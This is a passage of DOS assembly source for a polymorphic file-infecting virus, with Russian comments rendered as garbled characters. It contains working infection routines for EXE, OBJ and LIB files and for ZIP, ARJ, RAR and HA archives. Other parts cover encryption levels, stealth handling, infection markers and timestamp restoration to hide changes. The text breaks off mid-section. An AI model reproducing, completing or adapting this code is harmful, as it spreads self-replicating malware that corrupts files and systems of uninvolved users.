;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;¬¨­¨¬ «ì­ë© ¨ ¬ ªá¨¬ «ì­ë© à §¬¥àë § à ¦ ¥¬ëå EXEè­¨ª®¢ MININFECTSIZE equ 400h ; 1k MAXINFECTSIZE equ 80000h ;512k ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INTERVAL_INFECT = 2 INCUB_TIME = 3 ;14 sec VIRUSSTACKSIZE equ 0D0h TIMEMARKER equ 1 SIZEMARKER equ 157d SIZEMARKER_MOD equ 37d CRYPTLEVEL equ 50h ;¬ ªá¨¬ «ì­® ¢®§¬®¦­ë© (!) DOUBLEENCRYPT equ 80h HDRCRYPTLEVEL equ 4Fh EXECRYPTLEVEL equ 23h ;+DOUBLEENCRYPT IXECRYPTLEVEL equ 29h ARXCRYPTLEVEL equ 27h+DOUBLEENCRYPT OBJCRYPTLEVEL equ 1Fh IRP EXT, zmefl&EXT equ (&EXT&CRYPTLEVEL shl 8) or ENFLAGS_&EXT ENDM UNINIT equ 1111h ZIP_SIGN = 4B50h ARJ_SIGN = 60000d RAR_SIGN = 6152h HA_METHOD_STORED = 20H ARJ_METHOD_STORED = 0 ZIP_METHOD_STORED = 0 RAR_METHOD_STORED = 30h ZIP_LCL_ID = 403h ZIP_CNL_ID = 201h ZIP_END_ID = 605h CRLF equ <0Dh,0Ah> ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;dword_shit struc ; lo dw ? ; hi dw ? ;ends dword_shit struc union lo dw ? struc l db ? h db ? ends ends hi dw ? ends ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ifInfJump macro whatest, execut extrn IfInfect&whatest:near ; lea di, execut call IfInfect&whatest endm ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ probability_test macro variabl, glb_pr, go_to local __1 extrn variabl:byte call RND_GET_BYTE cmp ah, byte ptr ds:[variabl] jae __1 cmp al, glb_pr __1: jae go_to endm prALWAYS = -1 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ENGBUFFER STRUC ; UNION STRUC ; zmeflags ENFLAGS ? cur_cryptlevel db ? ENDS zmefl dw ? ENDS datasize dw ? jmp_after_decrypt dw ? targetptr dw ? segm_IDT db ? cJMP_patch dw ? nJMP_patch dw ? begin_sub dw ? end_of_jmp dw ? start_reg2 dw ? start_reg3 dw ? loop_top dw ? lastgarble db ? lastchoose db ? decryptor_size dw ? relocator_base dw ? reloff_1 dw ? reloff_2 dw ? value_J dw ? value_X dw ? value_Y dw ? useregs asgrbl ? IRPC NR, 0123456 reg&NR RegWord ? ENDM ENDS ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;all_memory_size_p=400h ;16k in memory :) all_memory_size_p=700h ;20k in memory :( HDRBUFSIZE = 22h hp equ (bp-80h) WORKBUFFER STRUC UNION STRUC ;infect ARX _arx_crc dd ? _fnamestr db 12d dup (?) _hafcount dw ? ENDS STRUC ;infect OMF _siz98 dw ? _posA0 dd ? _sizA0 dw ? _lib_dict_offset dw ? ENDS STRUC UNION STRUC ;func 4B _load_fname dw ? _load_array dw ? ENDS STRUC ;func 3F _rd_st_cnt dw ? _st_rd_off dw ? _beg_pos_lo dw ? ENDS ENDS UNION _saved_seek dd ? ;for restore header etc STRUC ;stealth int25 _start_sec dd ? _abs_read_drive db ? ENDS ENDS ENDS ENDS _host_arx_date dw ? ; ¤äâ  § à ¦ ¥¬®£® ä ©«  _host_arx_time dw ? ; ¤äâ  § à ¦ ¥¬®£® ä ©«  _beg_pos dd ? ;use in "f_insert" _pos98 dd ? _fisize dw ? _fioff dw ? _fnamesize dw ? _crthdr db 40h dup (?) _last_infect_time dw ? _hook dw ? _close_on_error db ? ;if 1, doserror-> close file _save_sp dw ? _save_ss dw ? _after_goto dw ? _five_bytes db 5 dup (?) _turn_name_crc dw ? _engdata ENGBUFFER ? _exehdr db HDRBUFSIZE dup (?) ; _dataencriptor dd CRYPTLEVEL dup (?) ; _for_ret db ? ENDS _hahdr equ _exehdr _ziphdr equ _exehdr _arjhdr equ _exehdr _rarhdr equ _exehdr _objhdr equ _exehdr _libhdr equ _exehdr _sfxhdr equ _exehdr _shift_buffer equ _exehdr To_hp MACRO some_label some_label equ (hp+_&some_label&) ENDM To_hp host_arx_date To_hp host_arx_time To_hp hook To_hp last_infect_time To_hp close_on_error To_hp after_goto To_hp lib_dict_offset To_hp hafcount To_hp saved_seek To_hp start_sec To_hp abs_read_drive To_hp beg_pos To_hp arx_crc To_hp load_fname To_hp load_array To_hp rd_st_cnt To_hp st_rd_off To_hp beg_pos_lo To_hp fnamestr To_hp pos98 To_hp siz98 To_hp posA0 To_hp sizA0 To_hp fisize To_hp fioff To_hp fnamesize To_hp engdata To_hp crthdr To_hp exehdr To_hp save_sp To_hp save_ss To_hp five_bytes To_hp turn_name_crc To_hp hahdr To_hp ziphdr To_hp arjhdr To_hp rarhdr To_hp objhdr To_hp libhdr To_hp sfxhdr To_hp shift_buffer PURGE To_hp include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code IFDEF USE_BEEP public beep beep proc call beep1 beep endp beep1 proc push cx ax mov al, 3 out 61h, al REPT 2 loop $ ENDM mov al, 0 out 61h, al pop ax cx ret beep1 endp ENDIF ends end ;include shmac.inc include star14t.inc code segment public byte assume cs:code public Calculate_CRC public Calculate_CRC5 ;-+----------------------------------------------------------+- ;ds:si=ptr ;di=size ;return: cx:dx=crc32 ;-+----------------------------------------------------------+- Calculate_CRC5: mov di, 5 Calculate_CRC: cld push bx mov cx, -1 mov dx, cx DO xor ax, ax xor bx, bx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 DO shr bx, 1 rcr ax, 1 DOIF C xor ax, 08320H xor bx, 0EDB8H DONE dec dh CYCLE NZ xor cx, ax xor dx, bx dec di CYCLE NZ not dx not cx pop bx mov ax, dx ror ax, cl add ax, cx ret ;-+----------------------------------------------------------+- ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code ;.DATA public vir_heap, StealthName, start_data public dataencriptor public heap public InfectTurn public zip_h public arj_h ;public five_bytes zip_h dw ZIP_SIGN, ZIP_LCL_ID, 14h arj_h dw ARJ_SIGN, 31Eh start_data: vir_heap: WORKBUFFER ? dataencriptor dd CRYPTLEVEL dup (?) for_ret db ? StealthName db 80h dup (?) InfectTurn db 80h dup (?) pblabel continue21 db 11d dup (?) db ? ret_hook dd ? ret_sux dw ? public ret_hook public ret_sux ; public after_goto ;after_goto dw ? heap: db 1800h dup (?) end_data: ;nameforinfect db 80h dup (?) ;CurDta mem_virus_end: ;data_size=end_data-begin_data ;all_memory_size_p equ (offset mem_virus_end+30h)/10h ends end code segment byte public assume cs:code, ds:code, es:code, ss:code public get_sft get_sft proc ;bx-handle ;es:di-ptr to sft push ax bx mov ax, 1220h int 2Fh mov bl, es:[di] mov ax, 1216h int 2Fh pop bx ax ret get_sft endp ends end code segment byte public assume cs:code, ds:code, es:code, ss:code public get_cur_time get_cur_time proc push ds xor ax, ax mov ds, ax mov ax, word ptr ds:[46Dh] pop ds ret get_cur_time endp ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code STACKBASE equ 080h extrn restore_seek :near extrn save_seek :near extrn seek_end :near extrn dosseek_bof :near extrn DOSCALL :near extrn DosCall_exc :near extrn NOSTL21NAMES :near extrn get_own_name :near extrn get_crc_just_fname :near ;extrn check_PROCESS_NAME :near ;extrn EXE_TEST_READ :near extrn start_data :near extrn dosclose :near extrn read_buf_22 :near ;public exe_test_read ;public IfInfectName ;public IfInfectHandle ;public IfInfectBuf ;public IfInfectNameCustom ;public exe_test ;public test_size ;-+------------------------------------------------------------------------+- pblabel IfInfectName ;ds:dx - filename ax - 3Dxx for open file mov ax, 3D40h ; open R/O file pblabel IfInfectNameCustom mov byte ptr cs:[ErrorRead], opCALL call DosCall_exc ; open file ;  ¥á«¨ ­¥ ®âªà®¥âáï - ®ç¥­ì ¯«®å® :( ;­ ¤® ®¡ï§ â¥«ì­® ®âªàëâì (67h?) ; push bx xchg bx, ax call seek_end call test_size ; jnz ErrorRead jz IfInfectHandle1 ErrorRead: call dosclose ; close file pop ax ret ;-+------------------------------------------------------------------------+- pblabel IfInfectHandle mov byte ptr cs:[ErrorRead], 0B8h ;don't close this file IfInfectHandle1: MOVSEG ds, cs ;*****************test size mov ax, 4400h ; IOCTL test for file/stream call DosCall ;NDD: open 'CON' :) jc ErrorRead ;no file rol dl, 1 jc ErrorRead ;no file call save_seek ; ; call seek_end ; call test_size ; jnz ErrorRead ; call dosseek_bof call read_buf_22 ; jc ErrorRead call restore_seek pblabel IfInfectBuf ;if PKZIP, NDD (ZF=1) - no stealth push ds dx call get_own_name call get_crc_just_fname pop dx ds jz ErrorRead call exe_test jnz ErrorRead ;test for infect mov ax, [exehdr.exe_CS] ;later to ss:[ExeCS] add ax, [exehdr.exe_par_dir] mov cx, 10h mul cx add ax, [exehdr.exe_SP] sub ax, STACKBASE-10h ;offset virus_start-10h ;ax - original size cmp ah, MININFECTSIZE/100h jb ErrorRead test al, 1 jnz ErrorRead ret ;IfInfectHandle endp ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- pblabel exe_test ;-+------- test for already infect -> ZF=1 if infect ;ZF=0 - no infected file ; mov ax, [exehdr.exe_SS] ; inc ax ; sub ax, [exehdr.exe_CS] ; DOIF Z mov al, [exehdr.exe_SS.h] sub al, [exehdr.exe_CS.h] cmp al, 17h DOIF BE mov ax, [exehdr.exe_SP] and ax, 0FFF0h sub ax, STACKBASE DONE ret ;-+------------------------------------------------------------------------+- ;-+------------------------------------------------------------------------+- pblabel test_size ;ax-(file_size and 0FFFFh) ;-+------- test for already infect -> ZF=1 if possible infect ;ZF=0 - no infected file ;for length with virus push ax cx dx xor dx, dx mov cx, SIZEMARKER div cx cmp dx, SIZEMARKER_MOD pop dx cx ax ret ;-+------------------------------------------------------------------------+- ends end ; BUG LIST ; 1. no infect ARJSFX ; 2. no -AV in ZIP ; 3. no support RAR 1.30 ; 4. no support long names INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code STACKBASE equ 080h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ extrn DOSCALL :near extrn DOStruncate :near extrn rt_err :near extrn vir_heap :near extrn EXE_TEST :near extrn SEEK_END :near extrn TEST_SIZE :near extrn START_DATA :near extrn CALC_HDR_PAGES :near extrn DOSSEEK :near extrn START_DATA :near extrn DOSSEEK_BOF :near extrn ZME_crypt :near extrn dosseek_cur :near extrn DosCall_exc :near extrn SHIT_AX :near extrn get_sft :near extrn dostell :near extrn heap :near extrn DosSeek_all :near extrn dosseek_cur_neg_dx :near extrn dosseek_cur_neg_ax :near extrn dosseek_cur_cx_1 :near extrn dosseek_cur_cx_0 :near extrn dosseek_cx_0 :near extrn arj_h :near extrn zip_h :near extrn dosread :near extrn read_buf_22 :near extrn read_buf_cx :near extrn DosWrite_shbuf_22 :near extrn DosWrite_shbuf :near extrn DosWrite :near extrn dosclose :near extrn doswrite_from_heap :near extrn _____ :byte extrn Calculate_CRC :near extrn get_cur_time :near extrn get_crc_just_fname :near extrn InfectTurn :byte extrn crypt_exe_header :near ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel InfectName MOVSEG ds, cs lea dx, InfectTurn call get_crc_just_fname jz $ret$ cmp ax, [turn_name_crc] je $ret$ mov [turn_name_crc], ax mov ax, 3D12h call DosCall_exc xchg bx, ax push bx call InfectHandle pop bx jmp dosclose ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel InfectHandle ;ret ; cld MOVSEG ds, cs MOVSEG es, cs call no_freq_proc mov ax, 5700h call doscall mov [host_arx_date], dx ; dx = date mov [host_arx_time], cx ; cx = time mov ah, 2Ah ; ¯®«ãç¨âì ⥪ãéãî ¤ âã ¨ ...... call doscall xor dx, [host_arx_date] ;­¥ § à ¦ âì ä ©«ë í⮩ ­¥¤¥«¨ and dx, 18h ;week only ; ¨áª«. ᮧ¤ ¢ ¥¬ë¥ ä ©«ë (?) DOIF NZ call arxtest DONE mov cx, [host_arx_time] xor cl, 1 ;change time for 1F mov dx, [host_arx_date] mov ax, 5701h jmp doscall_exc ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel arxtest ;close file(?) call RND_INIT mov ax, 4400h ; IOCTL test for file/stream call DosCall_exc cmp dl, 80h DOIF NC $ret: pop ax ;don't restore file time $ret$: retn DONE and dl, 0Fh inc dx ;1=a, 3=C ;IFDEF RELIZ ; cmp dl, 3 ;ELSE ; cmp dl, 4 ; jbe $ret ; no flop & C: ;ENDIF ; jc $ret ; no flop ;int 2bh cmp dl, 3 ;<64k call dosseek_cx_0 lea dx, [heap] mov cx, 1800h ;6k call DosRead xchg cx, ax ;scan lea si, [heap+2] DO mov di, 3 dec si dec si push cx call calculate_crc ; ;push bp; mov bp,sp ;< BORLAND je exfnd cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND je exfnd pblabel cont_search pop cx ; CYCLE LU pblabel standart_exe_infect2 jmp standart_exe_infect pblabel exfnd sizeof_part1=54h push si mov cx, sizeof_part1 DO lodsb push cx lea di, endd mov cx, 6 repne scasb pop cx ; jz nff ;nff: DOIF Z pop si jmp cont_search DONE CYCLE LU pop si ;$BEEP$ extrn ffsize_lo:word extrn ffsize_hi:word call seek_end mov ffsize_lo, ax mov ffsize_hi, dx mov dx, [exehdr.exe_par_dir] shl dx, 4 add dx, si sub dx, (offset heap)+3 call dosseek_cx_0 lea dx, [heap+sizeof_part2] ; to heap+sizeof(part2) mov cx, sizeof_part1 call DosRead call dosseek_cur_neg_ax ;§¤¥áì part 1 extrn part1:near extrn part2:near ;¢ë¡®à ªà¨¯â®¢é¨ª  ¤«ï part2 (?) extrn crypt_part2:byte call RND_GET mov crypt_part2, al mov crypt_old1, ah lea dx, part1 mov cx, sizeof_part1 call DosWrite call seek_end sizeof_part2 = 70h ;«ãçè¥ çâ®-â® ¢à®¤¥: ; part2 -> heap ; encode virus to heap+sizeof(part1)+sizeof(part2) lea di, [heap+sizeof_part1+sizeof_part2] mov ax, zmeflIXE call ZME_crypt ;;ret CX-SIZE extrn ffentrvir:word extrn crypt_old1:byte mov ffentrvir, ax ;? lea si, part2 lea di, [heap] push cx mov cx, sizeof_part2 DO lodsb sub al, crypt_part2 stosb CYCLE LU mov cx, sizeof_part1 mov al, crypt_old1 DO sub byte ptr [di], al inc di CYCLE LU pop cx ; crypt part2 add cx, (sizeof_part1+sizeof_part2) call doswrite_from_heap call write_sizemarker pblabel error_exit_2 pop ax pblabel endd db 0C3h db 0CBh db 0CFh db 09Ah db 0CAh db 0C2h pblabel no_freq_proc call get_cur_time sub ax, [last_infect_time] cmp ax, INTERVAL_INFECT ;0.5 ¬¨­ IFDEF RELIZ jl error_exit_2 ;<<<<<<<< ;read (rzheap+80h, [objhdr.recsize]-4) mov ax, HDRBUFSIZE -6h call dosseek_cur_neg_ax sub ax, 6h sbb dx, 0 mov [posA0.lo], ax mov [posA0.hi], dx lea dx, [rzheap] mov di, dx mov cx, [objhdr.recsize] sub cx, 4h call dosread push bx ;save file handle push ax ;size A0 before infect add di, ax push di ;encode virus (rzheap+[objhdr.recsize]-4) mov ax, zmeflOBJ call ZME_crypt ;;ret CX-SIZE ; mov [_____], ah ; mov si, VIRUSSTACKSIZE ; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size ; mov [engdata.datasize], cx ; mov [engdata.targetptr], di ; rep movsb ;copy data ; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size ; xor ax,ax xchg bx, ax ; entry virus ;¬®¦¥â ®á믠âìáï, ¥á«¨ 㢥«¨ç¨âì à §¬¥à ¢¨àãá . ᥩç á 7000 ;­ ¤®, çâ®¡ë ¡ë«® 9 ¡«®ª®¢.? ;mov ax, cx ;add ax, 3DFh ;dec ax ;cwd ;mov si, 3E0h ;div si ;inc ax ;cwd ;mov si, 3E9h ;mul si mov ax, di sub ax, offset rzheap cwd mov si, 3E0h div si mov dl, 7 mul dl add ax, cx and ax, 0Fh sub cx, ax add cx, 10h pop di add di, cx mov word ptr [fisize], cx ;scan pop cx ;size A0 before infect push di ;ptr to end A0 & virus lea si, [rzheap+2] DO mov di, 3 dec si dec si push cx call calculate_crc ; ;push bp; mov bp,sp ;< BORLAND je fnd cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND je fnd cmp_ax_CRC32w <52h, 89h, 0C2h> ;push dx; mov dx,ax ;< WATCOM je fnd CYCLE LU pop ax ;error_exit_2: pop ax obj$ret: stc ;CF - error flag for process_lib ret fnd: mov byte ptr [si-3], opCALL lea ax, [bx-3] add ax, cx mov word ptr [si-2], ax ;, 00 ;(cx+bx-3) pop dx ;ptr to end A0 & virus pop bx ;restore file handle ;rezka lea si, [rzheap] lea di, [heap] DO ;@repeat: sto_byte LEDATA mov ax, dx sub ax, si MIN ax, 3E0h push ax ;block size add ax, 4 stosw sto_byte 1 mov ax, si sub ax, offset rzheap stosw pop cx ;/----crc-------------------\ add al, byte ptr [di-4] add al, byte ptr [di-5] add al, ah add al, LEDATA+1 DO add al, byte ptr [si] movsb CYCLE LU neg al stosb ;\--------------------------/ cmp si, dx CYCLE B ; jb @repeat sub di, (offset heap)+3E7h push di ;razmer wtorogo finserta ;seek_pos(posA0)???? mov dx, [posA0.lo] mov cx, [posA0.hi] call dosseek ;write (heap, [objhdr.recsize]+3) mov cx, [objhdr.recsize] add cx, 3 call doswrite_from_heap ;f_insert (heap+[objhdr.recsize], 3E7h-([objhdr.recsize]+3)) mov si, ax add si, dx mov cx, 3E7h sub cx, ax add di, cx mov [lib_dict_offset], di ; adc [lib_dict_offset.hi], 0 push cx call dostell pop cx call f_insert ;read (objhdr, 22h) ;---- skip FIXUPP if present call read_buf_22 cmp [objhdr.rectype], FIXUPP DOIF E sub ax, 3 sub ax, [objhdr.recsize] DONE call dosseek_cur_neg_ax ;f_insert (heap+3E7h, virrsize-3E7h) lea si, [heap+3E7h] pop cx ;virrsize-3E7h call f_insert ;-process-segment------------ mov dx, [pos98.lo] mov cx, [pos98.hi] call dosseek call read_buf_22 call dosseek_cur_neg_ax mov ax, [fisize] add word ptr [shift_buffer.segsize], ax ;/----crc-------------------\ mov cx, [objhdr.recsize] lea si, [vir_heap._objhdr] inc cx lodsb DO add al, byte ptr [si] inc si CYCLE LU neg al mov byte ptr ds:[si], al ;\--------------------------/ jmp DosWrite_shbuf_22 ;ÄÅÄÄ[process LIB]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ pblabel process_lib ;CALL CHECK_PROCESS_NAME ; ⪠§ à ¦¥­¨¥ LIB § ­¨¬ ¥â ¬­®£® ¢à¥¬¥­¨ ; íâ® á⮨⠤¥« âì ¯à¨ à ¡®â¥ NDD, PKLITE, TLINK, etc cmp byte ptr [libhdr.lib_hdr_dict_offs], 0 jne lib$ret ;already infect DO ;infect exitcode of 'C' program mov di, 8 ;search for 'EXIT' lea si, [vir_heap._libhdr] call calculate_crc ; ;< BORLAND je exfound cmp_ax_CRC32w <80h, 6, 0, 4, 'e', 'x', 'i', 't'> ;< WATCOM je exfound mov dx, 10h-HDRBUFSIZE call dosseek_cur_cx_1 mov cx, 10h div cx mov [virobjblk], ax call read_buf_22 cmp al, HDRBUFSIZE CYCLE E end_process_dictionary: lib$ret: ret pblabel exfound cmp byte ptr [libhdr+14h], 32h je lib$ret call process_obj ;hmmm... jc lib$ret call dosseek_bof call read_buf_22 mov ax, [lib_dict_offset] add [libhdr.lib_hdr_dict_offs.lo], ax adc [libhdr.lib_hdr_dict_offs.hi], 0 call write_exehdr ; call dosseek_bof ; call doswrite_shbuf_22 ;¢ á«®¢ à¥: ¤«ï ¢á¥å § ¯¨á¥© > exit_ ¤®¡ ¢¨âì à §¬¥à ¢áâ ¢ª¨ ¢ ¯ à £à ä å ;seek (lib_hdr_dict_offs) mov cx, [libhdr.lib_hdr_dict_offs.hi] mov dx, [libhdr.lib_hdr_dict_offs.lo] call dosseek DO lea dx, [heap] mov cx, LIB_DICTIONARY_ENTRY_SIZE call dosread ; read (heap, 0x200) mov dx, LIB_DICTIONARY_ENTRY_SIZE cmp ax, dx ; ¯®â®¬ ᤥ« © ç¥à¥§ SAHF jne end_process_dictionary ;< ¯®á«¥ í⮣® ­ ¤®-¡ë call dosseek_cur_neg_dx ; áâàã­ª¥©â¨âì extended dictionary. lea si, [heap] ; process:) mov cx, 25h DO lodsb push si mov ah, ch ;ch=0 add ax, ax DOIF NZ add ax, offset heap xchg si, ax lodsb mov ah, ch ;ch=0 add si, ax cmp word ptr [si], UNINIT virobjblk equ word ptr ($-2) DOIF A mov ax, [lib_dict_offset] shr ax, 4 add word ptr [si], ax DONE DONE pop si CYCLE LU mov cx, LIB_DICTIONARY_ENTRY_SIZE call doswrite_from_heap ; write (heap, 0x200) CYCLE ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÅÄÄ[process HA]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ pblabel process_ha ;int 2bh mov ax, [hahdr.filecnt] inc ax mov [hafcount], ax mov ax, HDRBUFSIZE - (size ha_main) call dosseek_cur_neg_ax jmp sss pblabel cycle8 ;seek(size ha_file_hdr)+size name+machine+1 lea si, [vir_heap._hahdr.ha_name] mov cx, 42h ; max length name DO lodsb and al, al CYCLE LUNZ jcxz error_exit2 lodsb mov ah, 0 sub cx, 34h sub ax, cx sbb cx, cx ; mov al, 20h call stosw_sto_0 call store_fname lea si, [vir_heap._crthdr+2] sub di, si call Calculate_CRC mov word ptr [crthdr], cx ;[si-2] (?) ;\+- CREATE RARHDR -+- pop ax call dosseek_cur_neg_ax mov cx, SIZE rar_file_hdr JMP f_insert_hdr_und_file ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;include add2arj.as1 ;ÄÅÄÄ[process ARJ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ DO ;seek_cur(arj_bas_hdr_size+0Ah+arj_compressed_size-22h) mov dx, [arjhdr.arj_bas_hdr_size] sub dx, HDRBUFSIZE-0Ah sbb cx, cx cmp [arjhdr.arj_original_size.lo], cx DOIF NE ; if first header - (great BUG) add dx, [arjhdr.arj_compressed_size.lo] adc cx, [arjhdr.arj_compressed_size.hi] cmp [arjhdr.arj_compres_method], ARJ_METHOD_STORED DOIF E pblabel error_exit3 ret DONE DONE call dosseek_cur call read_buf_22 pblabel process_arj test [arjhdr.arj_flags], 4h ;test for multi-volume archive (?) jnz error_exit3 cmp [arjhdr.arj_bas_hdr_size], 0 CYCLE NE push ax ; ;/+- CREATE ARJHDR -+- lea di, [vir_heap._crthdr] lea si, arj_h movsw ;arj_id call sto_fnamesize_20 movsw ;31e mov al, 1 stosw ;1 dec ax call create_dtim call store_fisize movs4 ;d;file crc_32 sto_word 0 stos2w ;0 call store_fname ;*;name stosw ;0 push di lea si, [vir_heap._crthdr.arj_first_hdr_size] sub di, si call calculate_crc pop di xchg ax, cx call st_dx_0 ;\+- CREATE ARJHDR -+- pop ax call dosseek_cur_neg_ax mov cx, 2Ah ;SIZE zip_local_header pblabel f_insert_hdr_und_file CALL f_insert_hdr mov cx, word ptr [fisize] mov si, word ptr [fioff] jmp f_insert ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;include add2zip.as1 ;Ä[create zip headers]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel create_zip LEA di, [vir_heap._crthdr] lea si, zip_h movsw ;'KP' lodsw ;304 DOIF NZ ;CENTRAL_FLAG ; $$if central sto_word ZIP_CNL_ID mov ax, word ptr ds:[si] ;20d;?ver? DONE stosw movsw ;14 mov ax, 2 pushf call create_dtim add_si4 movs4 ;d;file crc_32 call store_fisize mov ax, [fnamesize] call stosw_sto_0 ;extra field size =0 popf DOIF NZ ;CENTRAL_FLAG ; $$if central stos3w ;=0 mov al, 20h call stosw_sto_0 add_di4 DONE pblabel store_fname ;*;name mov cx, [fnamesize] rep movsb pblabel error_exit1 ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÅÄÄ[process 